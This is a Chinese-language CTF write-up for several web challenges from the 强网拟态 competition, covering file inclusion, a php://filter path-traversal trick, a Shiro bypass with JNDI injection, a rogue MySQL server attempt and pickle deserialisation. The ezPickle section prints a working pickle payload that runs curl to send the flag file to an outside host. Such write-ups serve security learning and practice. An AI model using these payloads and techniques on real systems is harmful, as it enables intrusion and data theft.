强网拟态

zerocalc

题目提示readFile(“./src/index.js”),所以尝试readFile(“/flag”)得到flag

img

new_hospital

扫描目录。可以发现/old/ 以及/flag.php。
然后通过awvs可以发现,在feature.php下有一个api会利用Cookie include文件。
发现/feature不是很好用,利用/old/feature.php来包含任意文件。直接包含/var/www/html/flag.php即可。

EasyFilter

提供了写入和读取两种操作,b64参数c之后写入文件内
写入之后会返回文件名,接下来的问题是怎么在包含时能够解码文件,因为读取时只能控制”resource=”后面的内容
构造r=convert.base64-decode/../xxx
拼接后成为php://filter/resource=./files/convert.base64-decode/../xxx
调用了转换过滤器的同时又把convert.base64-decode当成了一个文件名,加../进行目录穿越后包含到恶意代码(上面会有一堆报错,雀氏挺另类的)
img

Jack-Shiro

天翼杯原题,首先/;/绕过,然后JNDI-Injection-Exploit直接打
img
img

Give_me_your_0day

安装页面存在数据库连接操作,考虑用rogue_mysql搭建恶意mysql server,尝试后发现被forbidden了img
观察install.php后,发现题目提供了多个数据库选择。选择mysqli后成功得到flagimg
img

ezPickle

pickle反序列化题。在config中有后门,但是需要修改notadmin中的adminyes

1
2
3
4
5
Class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))

观察发现限定了c操作符加载的moduleconfig,手搓个覆盖, 并且执行后门。

1
2
3
4
5
6
7
8
cconfig
notadmin
(S'admin'
S'yes'
ucconfig
backdoor
(S'exec("import os;os.system('curl ip -d `cat /flag`')")'
tR.

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!